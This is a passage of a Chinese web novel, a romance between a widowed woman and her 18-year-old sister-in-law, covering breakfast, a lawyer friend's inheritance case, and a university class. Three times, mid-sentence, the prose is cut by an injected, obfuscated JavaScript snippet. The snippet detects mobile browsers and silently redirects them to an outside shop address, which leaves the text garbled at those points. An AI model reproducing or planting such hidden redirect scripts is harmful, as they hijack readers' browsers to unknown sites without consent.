陆知秋觉得自己喝醉了,什么事情也不记得了,说出来也没有别的用处,自己又是那种温柔负责的性格,把陆知秋看的比自己还重要,陆知秋想的怕是,要是知道自己身为嫂嫂对小姑子做了不好的事情,只会让身为嫂嫂的自己空添懊悔而已。 “好吧……” “要是万一,我真的做了什么不太好的事情……对不起。” “我那会儿喝多了,不是故意的。” 温予乔最后说了这些话为对话结尾,她说的话半真半假,真在确实一部分不是故意的,她喜欢小秋不假,但她本没有打算对小秋咬下去的,咬她确实是那会酒精或多或少起了作用,让她心生忮忌,对陆知秋的一点点占有欲开始作祟,然后实在无法自控,想在她身上留下自己的标记,才咬了她。 假在,她的不是故意的成分也不多。 她感到抱歉的是弄伤了小秋,她不应该采取这种方式的,而不是后悔自己的占有欲,甚至看到小秋被咬了之后,有点委屈又不得不忍受,还宠着自己不说别的话的表情很性//感。 小秋有了她的印记了呢,好像把她锁在自己身边,永远不要和外人接触,永远不要被外人染指。 一想到小秋和别的女孩子走在一起,就忮忌的难受。 陆知秋听到温予乔的道歉,反而有一些不好意思,她在想自己没有说出温予乔咬了自己这件事真是对的,说出来怕是温予乔会更加难堪,两个人就变得很尴尬了,让嫂子难堪不是她想做的,干脆一件事情不说就好了,反正嫂子不会记得。 就当昨天一切事情什么都没有发生吧,温予乔不会记得,自己也把记忆一清而空,其实昨夜什么事情也没有发生。 就让这段不应该发生的关系从今日消失,让她和她回到关系的正轨。 “好。” 温予乔这才不说话,陆知秋继续吃早餐。 温予乔除了热了牛奶,还做了煎蛋和吐司,陆知秋很乖的吃完了,然后看着温予乔,她自己那份几乎没动。 “嫂嫂不吃吗?”陆知秋问。 “不太饿。”温予乔摆摆手,“可能昨晚喝多了,胃不舒服,待会再吃。” 陆知秋没再问,心里有了一个小计划。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177100|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在还不可以和温予乔说。 吃完饭,陆知秋收拾盘子要洗,温予乔站起来:“我来吧,你去上学。” “今天只有一节公共课,不着急。” “我来洗吧。” 陆知秋把盘子放到水槽,然后开始洗。 打开水龙头,挤洗洁精,水哗哗的,上下洗盘子,洗完盘子再洗牛奶杯和咖啡杯。 “嫂子。”陆知秋叫了一声。 温予乔:“啊?” “你……”陆知秋顿了顿,“真的没事吗?” “没事。”温予乔说,“就是有点宿醉,头疼,睡一觉就好了。” 陆知秋看着她,看了几秒,又拿起锅碗瓢盆,开始做东西。 “你要做什么呀?”温予乔有些疑惑,上前问,“早餐没有吃饱吗?” 陆知秋一边接水一边开火,“做醒酒汤。” 她把锅先做上,然后开始找葛根,山楂,枸杞,还有别的药材,开始切, 家里倒是常备这些,但是温予乔几乎不怎么用,只有山楂,枸杞平时会用一些,炖肉或者炖汤用。 温予乔惊讶了,“你什么时候会做的?” 陆知秋切好放水里,想了想,“初中那会上网查的,因为总是看到嫂子半夜喝闷酒。” “嫂子朋友来找嫂嫂,然后等到她们走了之后,嫂嫂总是不开灯,然后在客厅喝酒。” “我睡不着,就偷偷在楼梯上看。” “有时候嫂嫂会哭,有时候就是发呆,喝完第二天,你头会很疼,脸色也不好。” “想问嫂嫂怎么了,但也没有问出口。” “我知道的,嫂嫂总是这样,有难受的事情一直都是自己憋着,自己消化。” “总是这样,总是什么事情也不说。” “但就算昨夜哭的,眼尾红红的,眼睛肿肿的,脸花花的,嫂嫂还是会早起,然后把自己收拾的很温柔,像是什么都没有发生一样,扯出很温柔和煦的笑容,还照常给我做早饭。” “我知道发生了什么。” “嫂嫂哭的很伤心,还一边发呆一边流眼泪。” “我看嫂嫂这样,看的心像被扎了一样疼。” “我心疼嫂嫂。” “我觉得很愧疚,想着我以后肯定不要让嫂嫂这样了。” “后来我就去网上查,喝多了第二天吃什么会舒服点,就搜到醒酒汤的做法,就记下来了。” “一开始怕做的不好喝,”陆知秋说着,“偷偷做过几次,让朋友先试了试,她们都说味道可以,我想着做给嫂嫂喝,但一直没机会。” 温予乔看着她,本来还想逗陆知秋的,结果眼睛因为陆知秋的话慢慢红了,说,“为什么……要偷偷学这些,也不和我说……?” “因为不想看你难受,也不想……看你一个人哭。” 陆知秋耳朵有点发红,她也不知道为什么,昨夜之前的自己说这些话都很正常的,脸不红心不跳的,昨夜之后说这种话,反而有些不好意思。 两个人说着,陆知秋正不知道怎么办,想着去上学吧,秦雨薇从客房下来了。 她穿昨天的衣服,头发乱得像鸡窝,打着哈欠走进厨房:“早啊甜心……有咖啡吗?” “有,刚煮好。”温予乔起身给她倒咖啡。 秦雨薇在陆知秋对面坐下,揉了揉眼睛,然后瞥了她一眼,愣住了:“诶小秋,你嘴怎么了?” 又来了。 陆知秋有预感,她要是去上学,每个看到她的人都会问这句话。 陆知秋:“上火。” “上火?”秦雨薇凑近看了看,然后坏笑,“我看不是,像被女人啃了,说吧,是不是昨晚趁我和你嫂嫂睡着 ,是不是昨晚趁我和你嫂嫂睡着,溜出去跟哪个小姑娘约会了?” 遇到难回答的问题,就又不说话了。 陆知秋心想:不是小姑娘。 是大嫂嫂。 不是趁嫂嫂睡着, 是和嫂嫂睡了。 温予乔这时候端着煮好的咖啡过来,放在秦雨薇面前,说:“别瞎说,小秋才多大。” “十八了好吧,可以谈恋爱了。”秦雨薇喝了一大口咖啡,“不过小秋啊,姐姐提醒你,谈恋爱可以,但要注意安全,你看你这嘴,被啃成这样,去学校肯定要被调侃的,你嫂子也会担心你。” “秦雨薇。”温予乔弹了她一下。 “好好好,不说了。”秦雨薇举手投降,“不过说真的,那姑娘挺猛啊。” 陆知秋不说话,秦雨薇被警告之后也不说话了,她很快喝完吃完,然后整理了自己一下,又变成那个光鲜的都市丽人, “我今天有个案子,先去开庭了。” “昨天谢谢你们招待了。” “什么案子?”温予乔只是随口客套一问。 秦雨薇揉一揉太阳穴:“财产纠纷,豪门内部的事情了,有点伦理,姐姐去世,留下豆丁大点的小姑子,嫂子把小姑子养成年,成年后小姑子和嫂子谈了恋爱,本家、和姑嫂她们打官司闹财产。” 陆知秋和温予乔异口同声:“小姑子和嫂子谈了恋爱?” 14. 第 14 章 陆知秋和温予乔异口同声:“小姑子和嫂子谈恋爱?” 秦雨薇被吓了一跳,“怎么了?” “不知道的以为谈恋爱的小姑子和嫂子是你俩呢。” 陆知秋和温予乔一同沉默了。 她们才没有谈恋爱,只是接了吻,一起睡了而已。 仅此而已。 温予乔先说的话,温柔问秦雨薇,“那案子详细是怎样的呢?” 秦雨薇“唉”了一声,“比离婚财产分割复杂一点,但也还好。” “还是一家子财产纠纷,家主老太太寿终正寝,留下不少遗产,但大女儿几年前失踪了,说是失踪,其实大家都知道,八成是……” 秦雨薇说着,斟酌了一下用词, “只留下个媳妇,还有个妹妹。” “妹妹年纪不大,嫂子养着。” 温予乔问:“然后呢?” “然后?”秦雨薇耸耸肩,“然后妹妹长大了呗,年轻漂亮,青春期发育的高挑,线条也很漂亮,嫂子年纪也不大,大宅子里两个靓女,还孤女寡女的,干柴烈火,俩人就好上了。” “黏在一起,亲亲抱抱,说是谈恋爱。” “然后别的亲戚不干了,说这不合伦理,说嫂子本来没资格继承遗产,说这嫂子是贪图老太太的财产才勾引小姑子。” 温予乔问:“那你怎么看?” “我?”秦雨薇笑了,“我站当事人啊,人家俩人你情我愿,关外人啥事。” “再说了,那嫂子养大小姑子花了多少钱,费了多少心?那些亲戚出过一分力吗?现在看人有钱了,眼红了,跳出来装正义使者,小姑子当初在姐姐墓碑前哭的时候怎么不见除了嫂子以外的好心人哄她,照顾她,给予她那些缺少的关心与爱。” “要我说,这嫂子也算仁至义尽,原配没了,她完全可以把小姑子扔给亲戚,自己拿着分着妻子的钱走人,” “可她养了小崽崽十几年,供她吃穿,还有读书,现在妹妹成年了,喜欢嫂子,嫂子也喜欢她,俩人互相喜欢,有什么问题?” 温予乔没说话。 “不过……”秦雨薇话锋一转,“这案子吧,有个麻烦点。” “什么?” “就是……有人怀疑,原配可能没死。”秦雨薇压低声音说,“虽然当事人说的是原配已经去世了,但实际算是失踪,只是失踪十年,一直没找到尸体,要是哪天突然冒出来……” 温予乔问,“那……可能性大吗?” “谁知道呢。”秦雨薇接着说,“警方那边早就按死亡处理了,法律上已经认定死亡就算真活着回来,婚姻关系也早解除了,财产分割也已经完成了。” 温予乔说到,“这样啊……” “不过,”秦雨薇又开口,“要是我啊,才不会等十年,三年,顶多五年,该找新欢找新欢,该开始新生活就开始新生活,人生苦短,何必为个早就没了的人耗着。” 她说着,看向温予乔,眼神认真起来:“予乔,我昨天说的不是玩笑话,你真该想想自己的事了,十年了,够意思了。” 温予乔轻声说:“我知道。” 秦雨薇追问:“知道什么?” 温予乔说:“知道人生苦短。” 秦雨薇看了她一会儿,然后叹了口气:“行吧,我不说了,你自己有数就行。” 她撩了撩头发,拿起包:“有当事人要见,得走了。” “嗯。”温予乔点头,“路上小心。” 秦雨薇站起来,走到温予乔身边,拍了拍她的肩:“有事给我打电话,随时。” “好。” 秦雨薇走了。 留下心中想着复杂的事情的温予乔和愣住了陆知秋。 十八岁的陆知秋世界观重塑中。 小姑子……嫂子……在一起……亲亲抱抱……谈恋爱…… 原配有可能找上来,婚姻纠纷,财产分割…… 乖乖女世界观重塑中…… 而旁边的温予乔想的是, 她内心第一次感谢陆知清再也不会回来了。 坠海,车都泡成那样了,更何况人呢。 陆知清不会再回来了,不会像案子里的那位姐姐一样。 不会来妨碍她和小秋了。 不会来告诉她,这样不对,这样不行,有违伦理道德那些调调了。 因为陆知清不在了。 温予乔真的非常感谢陆知清,一想到她就感谢的快要哭出来, 谢谢她走得这么干脆,这么彻底,谢谢她把小秋留给她 谢谢这十年,给了自己足够的时间把她养大。 谢谢陆知清留下的妹妹很乖,长得真好,长成了和陆知清又像又不像,比她会温柔,会懂得心疼人的样子。 —— 陆知秋今天的课是下午,只有下午一节,公共课。 她考虑了一下,还是决定化一点淡妆。 她站在卫生间的镜子前,看着镜子里的女孩子。 她抬手撩起头发,露出一张冷白色的脸。女孩子皮肤很白,是那种天生的冷白皮,和温予乔白里透粉,像樱花一样的肌肤不一样,她的更偏冷一点。 她拿起气垫,在脸上轻轻拍了一层,拍均匀后,又用唇釉仔细涂了几下嘴唇上那个小小的已经结痂的破口,虽然还是能看出来被咬了,但至少增加了水色和饱满的丰润。 眼妆化了偏中性的眼妆,看起来略显距离感,给人一种清冷冷冽的感觉。 最后又拿起腮红笔扫了点淡淡的腮红,让气色看起来好一些。 头发刚才洗了一次,陆知秋习惯每天洗一次头,吹好头,她是黑长直发型,黑色的头发在气流中舞动,黑像泼墨,又像丝绸,发质很好,又黑又亮,垂到腰际,随气流轻轻晃动。 等到头发吹到半干,她用卷发棒稍微卷了一下刘海,卷的蓬松一些,再卷发尾,卷起微卷蓬松,稍微翘起,披在肩上,随性又看得出精心打理过, 然后挑今天穿的衣服,她打开自己的衣柜,在一众阿迪达斯里,拿出一件黑色的阿迪达斯外套,里面搭的白色T恤,下身是迷彩的微喇直筒裤,裤脚刚好盖住鞋面,显得腿又直又长。 脚上是一双干净的白色贝壳头板鞋。 她对着镜子照了几眼,陆知秋自己的身高还算高的,接近一米七,头身比也很好,很小的脸,头也很小,五官立体,下颌线清晰,腰细腿长,小腹平坦,撩起来T恤还有马甲线。 肩是直角肩,平且直,骨架偏大一些,撑衣服很好看,OOTD,清冷利落,有有一些柔气,看起来还可以。 “好了。” 她化好妆,把化妆品收到化妆包里。 温予乔敲了敲她房间的门,陆知秋走出去。 温予乔看到陆知秋愣了一下,被漂亮到了,然后伸手轻轻拨了拨她肩头的翘起的头发, “头发卷得不错,自己卷的?” “嗯,看了个教程。” “手真巧。”温予乔说着,又仔细看了看她的脸,“化妆了?” “就一点。”陆知秋说,“遮遮黑眼圈。” 温予乔心里想“哪有黑眼圈”,陆知秋的皮肤状态特别好,化妆遮的可能不是黑眼圈, 是温予乔昨晚咬的伤口。 一想到这个,温予乔有一些不好意思。 下次接吻的时候就不会咬了。 还有下一次接吻? 当然了,温予乔肯定要下一次的,或者说一次又一次。 食髓知味的温予乔停不下来的,会一直索要乞求的,接吻,抱抱,还有很多情人会做的别的事情。 她一定会把陆知秋从小姑子变成情人的。 然而温予乔心里想的,话上说的确是,“遮一下也好,显得气色好一些。” “不过小秋啊,嫂嫂觉得你在学校……” 她笑着说:“肯定很多女孩子喜欢你。” 陆知秋:“哪有这回事。” “怎么没有。”温予乔伸手帮她理了理衣领,“长得好看,身材又好,又会打扮,现在的小姑娘,不就喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177101|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种类型吗?” 她说着,抬眼看她,戏谑:“说不定今天就有小姑娘跟你表白呢。” 陆知秋看着她近在咫尺的脸。 睫毛很长,像小扇子一样,睫毛长到看不到她的眼睛。 嘴唇还有点红肿,润润的,像果冻。 那是和她亲的,肿起来的。 但温予乔不知道。 或者说,温予乔“不记得”了。 陆知秋:“不会的。” 温予乔“嗯?” “我不会喜欢别人的。” “为什么?” “因为嫂嫂太漂亮了,记不住其她女孩子的样子。” 温予乔愣了一下,她看着她,眼神复杂了一瞬,然后又笑起来:“你这话说的,果真?一个都没有?我们小秋十八岁了,就没有觉得比我还漂亮的女孩子?” 温予乔的心跳说这句话的时候,心莫名快了起来。 她知道自己不该问这种问题,不该试探,不该,但就是忍不住。 想听她说什么。 又怕听她说什么。 陆知秋沉默了几秒。 想起同学好奇的目光,搭讪,那些她根本不感兴趣的脸。 然后她抬眼,看着温予乔。 晨光里,温予乔穿着丝质睡袍,头发用鲨鱼夹扎着温婉的马尾辫,有几缕碎发落在颈边,显得脖颈修长白皙,涂着简单的口脂,正笑着看她,温柔而含笑。 “比嫂嫂还漂亮的女孩子,是有的。” 温予乔没有想到她真的这样说,心一下子沉下去,嘴角硬了一下,装作不在意的问她:“谁啊?” “明天的嫂嫂。” “……什么?” “明天的嫂嫂,”陆知秋重复了一遍“比今天的嫂嫂更漂亮。” “我不会觉得任何一个女孩子比嫂嫂更加漂亮,如果有,那就是明天的嫂嫂。” 她说完,背上黑色斜挎包,回头对温予乔笑的温柔,明媚而璀璨生姿,好像周边都被她照亮一样,拉开门。 “我走了。” 门“咔哒”一声关上。 温予乔站在原地,好几秒,她都没动。 脑子里反复回放她刚才那句话。 “比今天的嫂嫂还漂亮的,只有明天的嫂嫂。” 什么意思? 是说她每天都会变得更漂亮?还是说在她心里,她永远是最好的? 温予乔的脸“唰”的一下红透了,从脸颊红到耳朵,再从耳朵红到脖子,红晕在她白皙的皮肤上蔓延开,像滴进水里的墨,晕染得又快又深红。 她抬手摸了摸自己的脸,红的烫手。 心跳得飞快,像有只小鹿在胸腔里乱撞,撞得她呼吸都有点不稳。 这孩子什么时候学会说这种话了? 从哪学的? 还说得那么自然,那么理所当然,说完就走,留下她一个人在这里…… 温予乔走到陆知秋的镜子前,看着镜子里满脸通红的自己。 脸红的像石榴,整张脸都写着“心动”两个字。 她咬住下唇,想压下自己心动笑容,但压不住,还是在笑。 最后她干脆放弃,不压着了,对着镜子里的自己,轻声说: “这样……” “让我更不能放手了。” 她的手指轻轻按在镜面上,按在镜中人的心口位置,也就是自己的心口, “让我更喜欢你了。” “小秋,”她叫陆知秋的名字,声音又甜又软,“你真坏。” “把我的心弄得一团糟,还在那可爱的笑。” “留下我一个人乱掉的心,就走了。” 但温予乔还是想要她,就像尝到了糖的小孩子,明知道吃多了会蛀牙,但还是忍不住想再吃一口。 再吃很多口。 温予乔想要陆知秋。 比之前的任何时候都想要她。 “坏小秋,” “等你回来” “看我怎么要你。” 15. 第 15 章 温予乔转身,走到窗边,掀开窗帘一角,看着陆知秋逐渐走出院子。 黑色外套,直筒裤,黑色斜挎包,高挑又干净,走到路口,等司机。 温予乔就站在窗帘后面,看着她,看陆知秋抬手看了眼手表,然后司机来接,毕恭毕敬的打开车门,陆知秋坐了进去。 陆知秋百无聊赖的支着脑袋,透过车窗,正好看到楼上温予乔注视她的眼睛。 陆知秋愣了一下,然后耳垂一红,垂下眼睫。 温予乔看着她,消失在转角。 等到陆知秋看不见了,温予乔才不去看外边,背靠着墙,手抚上自己的心口。 心脏还在怦怦跳,脸上还在发烫。 她不想陆知秋离开她。 她不想陆知秋去没有自己的地方。 她喜欢陆知秋。 温予乔这样想着,想去窗外再看看,意识到陆知秋才刚走,只好靠着墙,拿起手机,点开陆知秋的微信对话框。 备注是“啾啾bb” 温予乔平常喜欢叫陆知秋“小秋”,但其实在温予乔心里,还有其她对小秋的爱称。 啾啾。 读起来像小鸟一样,就像是小鸟啾啾展开翅膀,带温予乔逃离孤单寂寥的大宅门,给予自己家庭,亲人的爱,让她得到自由,摆脱焦虑的眩晕。 如果可以的话,她也想,得到陆知秋初恋,爱情的爱,爱情的性,不局限于家人不局限于亲人。 是那种可以和她肆意亲吻,上床的爱与性。 同时,啾啾,还像是在亲吻,两个人啵唧嘴唇,亲吻之余发出的水声。 读起来特别萌,还很暧昧。 喜欢陆知秋。 温予乔好想给她发消息,想粘着她,亲亲她,让她身边只有自己。 可是,她的手指在屏幕上悬了很久,不知道发什么,要是发闲聊的消息,她会不会觉得麻烦,觉得有些厌烦,就不和她说话呢? 但是不发消息,又很想她。 最后,她什么都没发,把手机按在胸口,心一直在心动,放着放着,脸更红了。 喜欢一个人是很麻烦的事情。 她和陆知清结婚就像是两个毫不相识的人绑在了一起,是陆知秋让温予乔知道喜欢一个人是什么感觉。 心里想的都是陆知秋漂亮清丽的脸蛋。 陆知秋温柔清脆的声音。 陆知秋肿起破口的嘴唇。 还有自己此时此刻乱成一团的心跳。 我想你的时候,你也在想我吗? 我,想拥有你。 —— 陆知秋被司机送到了大学附近,她没有让司机停到门口,而是到旁边比较偏僻的地方。 停到门口的话,陆知秋觉得有一些张扬,好像自己很有钱的样子? 虽然她姐姐也留下了很多钱吧,还有别墅。 但其实陆知秋知道,自己和姐姐并不是富有的人,她们的原生家庭贫穷而困苦,没有来自家庭的爱,没有来自母亲的爱,不被他关心,被家庭暴力,然后再杀掉家庭暴力的他,重获自由,以至于最后互相依存,自己和姐姐像是弃婴一样,到了福利院互相依靠,像两只失去腐烂巢穴的鸟,在童年的天空紧紧拥抱在一起,从如发黄的画一般暗淡的天空垂直坠落,几乎身和心都要碎掉了。 直到姐姐长大的时候,继承远房亲戚的财产,日子才过得好起来,姐姐还有了妻子,自己有了嫂子,从两个人抱在一起生活,到三个人还在一起生活。 那会童年的天空像是油画一样漂亮鲜艳,和之前暗淡的天空完全不一样,飞鸟们找到了相互的依靠,紧紧相拥在一起,获得了自由,像血管一样紧紧缠在一起,分开便如同失去心跳。 童年贫苦而充斥着暴力的经历,让陆知秋养成了用冷冽的外壳保护自己,但内心却像是糖蜜一样温柔的性格。 像是一颗酸糖,去掉外边酸酸的颗粒,才能露出内里鲜甜的糖心儿。 因为得到了姐姐和嫂嫂的爱,因为在被爱的人的心跳与爱的柔软包裹,紧紧包裹很久很久了,她也会用纯粹的爱去爱她亲近的人。 爱是陆知秋认为世界上最真切的东西。 陆知秋从学生进的小门儿,走到主教学楼,推开阶梯教室。 前排依旧无人坐。 她习惯性地往后排走,之前住宿的舍友给她占好位子了,她到在靠窗的老位置放下书包,点名的时候答到。 王的座位。 后排很多同学正在刷无声抖音,还有代课的,还有补觉的,还有一条腿已经准备好,假装上厕所然后回宿舍的。 晚来的同学看到后边都挤满了人,只好硬着头皮去第一排坐。 “来了?” 肩膀被人拍了一下,陆知秋侧头,看见李笑笑笑嘻嘻的凑过来,一屁股在她旁边坐下。 “今天怎么这么晚?”李笑笑把书包往桌上一扔,“差点以为你翘课了。” “起晚了。”陆知秋说。 “拿书了不?” “拿了。” 说着,陆知秋拿起一本“大学生就业指导”课本。 考察课,但是不买还不行,老师要查。 老师这时候在讲台上开讲了,陆知秋翻开课本,只见一行“第一章节第一讲,就业的定义。” “就业是指16周岁以上具有劳动能力且有劳动愿望的人参加的社会劳动并获得相应的劳动报酬的或经营收入的一系列人类活动。” 陆知秋看了一眼,就合上书了。 “你说,讲就业的老师,她们就业过吗?” 李笑笑在旁边说:“那应该大概率没有,因为老师她当初都是分配工作,铁饭碗的嘛。” 李笑笑接着说, “但是咱们现在没有铁饭碗了,全靠本事了。” 李笑笑补充说:“我觉得老师们的人都挺好的,但我觉得这本就业指导教材真不像人类能编出来的。” “比如就业的定义,把简单易懂的名词扩写成一堆谁也看不懂的句子,然后背诵,期末再考,一场巨大的高难度版本默写……” 陆知秋听着她说话,看着老师讲课。 老师们的人都挺好的,但是就业指导课真的有一些催眠。 李笑笑说着,然后意识到啥不对劲一样,盯着她看了几秒,然后“啧啧”两声:“不对劲。” “什么不对劲?” “你不对劲。”李笑笑凑近一点,眼睛盯着她的脸,“你这嘴” 她指了指自己嘴唇的位置,示范给陆知秋看:“这怎么破了?上火?” 陆知秋知道自己来上课,肯定有朋友来问她嘴怎么了,提前做好准备:“嗯。” “上火能只破这一个地方?”李笑笑不信,用手肘撞了撞她,“老实交代,昨晚干嘛去了?是不是跟哪个女孩子嗯嗯啊啊了?” “因为,你这嘴一看就是被人啃的。” 陆知秋弹了她一下:“没有的事,别瞎说。” “唉,闺蜜你继续表演,我操心你被谁咬了一点也不冷,一点也不累,一点也不难过,一点也不心酸,一点也不辛苦,不委屈,不伤心。” “总之祝我们的闺蜜天天开心好吧。” 陆知秋回看了她一眼。 李笑笑就是这样的性格,开朗健谈,很好的朋友。 李笑笑说了之后,趴在胳膊肘上,看着她。 偏清冷挂的漂亮的陆知秋。 皮肤白,鼻梁很高,眼睛是标准的桃花眼,眼尾上翘,眼睛像涂了玫瑰糖浆一样清亮,平时看人时没什么情绪,淡淡的,但偶尔抬眼一扫,能把人看得心里一颤。 再加上她话少,成绩好,长得漂亮,家里还有钱,在系里一直挺有名,追她的女生不少,但她从来都是礼貌拒绝,没见跟谁走得近过。 所以今天这嘴上的伤,就显得格外可疑。 李笑笑自认是恋爱大师,在热拉挤了三年眼那种。 请问闺蜜看起来像木头怎么办? 那当然是敲醒她。 看开陆知秋和咬她嘴的那个女孩子有一层薄纱。 陆知秋可能想的是不要轻易戳破那层薄纱? 李笑笑觉得,像陆知秋这样别扭的人,得需要人来推一把才好,打出第一把直球。 虽然叫知秋,但却不是直球呢。 知秋闺蜜不直球,诡秘我必须得帮闺蜜和咬她嘴的女孩子推波助澜了, 爱一个人就要勇敢的说出来! 李笑笑那边自我感动中。 李笑笑趴在胳膊肘上,说着小话:“说真的,陆知秋,我觉得你不像你表面那样纯洁。” 陆知秋:“什么?” 李笑笑:“我觉得你是闷骚。” 陆知秋:“哈?” “闷骚。”李笑笑重复,表情认真,“表面上高冷得不行,对谁都爱答不理的,其实心里骚着呢,就等着合适的人来撩你。” “要是你是晋江百合文里的攻,绝对是那种表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177102|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面清冷禁欲,实际比狐狸精还要烧的攻,床上能把受o嗯嗯啊啊,下了床又一脸‘与我无关’的表情,占有欲还强,自己的人,别人看一眼都不行,撩受,要受,占有受那种,不要不要的。” “要么不谈,要谈就是一辈子,而且一旦认定一个人,绝对是那种恨不得紧搂着对方的腰,把对方紧紧抱在怀里的类型。” “所以说,”李笑笑掰着手指分析,“你条件这么好,但一直单身,要么是心里有人了,要么就是……”她嘿嘿一笑,“在等个能撩动你的人。” 陆知秋:“……” 陆知秋:“笑笑,你的首要的任务是少看晋江文学城的百合频道……” 李笑笑:“你这人最精了,让别人少看百合文,自己背地里看好的,还不和闺蜜分享,一问就是在看学习资料。” “然后我定睛一看,好像还是姑嫂文学。” “好像叫《姐债嫂偿》,也是晋江百合频的。” “养女攻和寡妇受,涉及姐姐和嫂子还有妹妹三人情感纠纷说是。” “姐姐去世了,留下小妹妹,嫂嫂养了妹妹近十年,嫂嫂先对妹妹产生了情愫,但妹妹不知道,” “然后妹妹逐渐发现了自己对嫂嫂的心意,两个人开始两情相悦谈了恋爱,这时候姐姐突然‘死而复生’回来了。” “嫂嫂以为姐姐会生气自己出/轨了她的妹妹,小姑子以为姐姐会生气自己出/轨她的妻子,” “姐姐确实生气了,但是生气妹妹爱上的是嫂嫂而不是自己……” “姐姐和嫂子虽然是原配,但是都喜欢上了妹妹,也就是上帝视角,两个人关系中第三者的妹妹,原配之间为了争夺第三者的妹妹大打出手,” “还让妹妹从姐姐和嫂子里选一个真爱,问她更喜欢哪个,要选她还是选我,太银乱了。” “当然姑嫂99。” “我看了看文案,还是这种,” “冷脸萌纯情养成系小狗攻x温婉实则很会“狩猎”和”“驯养”“掌控”小孩的诱惑人妻美受(白切黑版)” “嫂嫂好像还是那种重//欲/肉/食系,缺爱,生理和心理都很缺爱那种。” “好像还有一句,嫂子说小姑子是个小混蛋,专门偷姐姐的东西。 “然后小姑子说,你明明是自己把自己,递到我手里的。” “还有姐妹骨,姐姐说‘这个世界上没有人比我更像你,这个世界上也没有人比我更爱你。’” “还有姑嫂文学,嫂嫂“(小姑子的名字),我爱你,我养了你十年,你看看我好不好?嫂嫂……嫂嫂把自己的全部都给你。” “只要你愿意,随时都可以吃她是文雪,赤壁,赤奈……” “你个大黄丫头……” 陆知秋直接捂住朋友的被戳穿看的小说内容,拿手挡住脸,耳朵红了:“你不要再说了……” 人生中最尴尬的事情,就是看的小说被朋友用嘴巴朗诵出来,即使音量只有两个人能听到。 朋友接着说,“我记得你不是有嫂子吗,看这种很刺~激又危险哦,不会联想到现实的她吗?” “啊?!难道说你?!” 笑笑惊讶道,捂住嘴,像是发现了不得了的事情,一副“大态变”的表情。 “不对。”陆知秋又弹了她一下。 陆知秋:“就算我看这种类型的小说,也不是说着我要搞姑嫂恋吧。” “我才不会和我嫂嫂谈恋爱呢。” “绝对不会。” 陆知秋一提起姑嫂恋,就想起来今天早上秦雨薇讲的那个案子。 陆知秋世界观已重塑完毕,都开始找姑嫂小说看了。 不得不说,确实很好看,她今天在车上都看了好几本了。 李笑笑“啧啧一声,盯着她看。 陆知秋被她盯着看,扭过头去,看不到她的表情,但能看到她的肩膀一直在抖。 “噗。” “嗯……我的意思是……算了。” 陆知秋自知说不过朋友,只好不说话了。 “虽然这样说可能有点冒犯……”李笑笑凑近一点,“你昨晚到底是不是跟人睡了?但是我看你今天这状态,也不像是一夜情,倒像是那种,” “像是什么?” “像是遇到了什么让你又纠结又放不下的人。”李笑笑看着她,“那女孩子有女朋友?还是有家庭?” 呃……又被看穿了。 ……一语中的。 16. 第 16 章 陆知秋:“……” 遇到难回答的问题就又不说话了。 李笑笑捕捉到了这个细节,惊讶:“我不会真被我猜中了吧?对方有主?” “没有。”陆知秋立刻否认。 “那就是有了。”李笑笑说,“你这可就有点不道德了啊。” 陆知秋沉默。 李笑笑叹了口气:“对方什么人啊?能让你这么上心?咱们学校追你的女生也不少,你一个都看不上,结果跑去” “别说了。”陆知秋打断她。 李笑笑闭嘴了,但眼神还在问她。 两人对视了几秒,陆知秋先移开视线:“不是你想的那样。” “那是哪样?” “就……”陆知秋顿了顿,“很复杂,说不清楚。” “那就慢慢说。”李笑笑难得正经起来,“咱俩也认识一年多了,虽然你平时话少,但我知道你不是那种随便的人。你要是真喜欢谁,肯定有你的理由。我就是怕你吃亏。” 陆知秋看着李笑笑,这个平时嘻嘻哈哈的前室友,此刻的表情很认真。 她心里一暖,但还是说不出口。 说不出口啊。 说她身为小姑子和自己嫂子昨晚接吻了,还睡在一起了? 说两个人深吻,嫂子还咬了她? 还是说嫂嫂给姐姐守了十年寡,但她却趁嫂之危,趁嫂嫂醉酒的时候,不清醒的时候亲了她? 还是说,陆知秋昨天的不清醒,差点毁了她和嫂嫂,还有姐姐之间的关系? 姐姐要是知道陆知秋这样做的,也不会原谅她的。 欺负已故的姐姐的妻子,自己真当是没有心。 把这些话说出来,朋友会怎么看她? 会把她当成变态吧。 “算了。”陆知秋摇摇头,“等我想清楚了再跟你说。” 因为要考虑后果,做什么事情都要考虑后果。 比如如果她和嫂子的事被别人知道,会怎样,朋友,亲戚,都会怎么看她? 以及,那边的姐姐会怎么想? 这些她都想过。 